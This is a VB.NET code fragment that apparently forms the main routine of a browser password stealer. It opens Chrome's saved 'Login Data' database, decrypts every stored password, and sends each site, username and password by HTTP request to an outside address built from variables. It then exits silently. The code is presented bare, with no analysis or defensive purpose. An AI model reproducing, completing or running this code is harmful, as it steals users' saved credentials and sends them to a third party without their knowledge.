Main - first part

  Dim datapath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Login Data"

        '   Try
        Dim SQLDatabase = New SQLiteHandler(datapath)
        SQLDatabase.ReadTable("logins")

        If File.Exists(datapath) Then

            Dim host, user, pass As String

            For i = 0 To SQLDatabase.GetRowCount() - 1 Step 1
                host = SQLDatabase.GetValue(i, "origin_url")
                user = SQLDatabase.GetValue(i, "username_value")
                pass = Decrypt(System.Text.Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "password_value")))

                If (user <> "") And (pass <> "") Then
                    cPass = ("=======" + id + "=======" & vbNewLine & "Host: " & host & vbNewLine & "Username: " & user & vbNewLine & "Password: " & pass & vbNewLine & "=======" + id + "=======" _
                        & vbNewLine & " ")



                    Try

                        Dim request As HttpWebRequest = HttpWebRequest.Create(dom + add + cPass)

                        response = request.GetResponse()


                    Catch ex As Exception

                    Finally

                        response.Close()


                    End Try


                End If



            Next

        End If
        Application.Exit()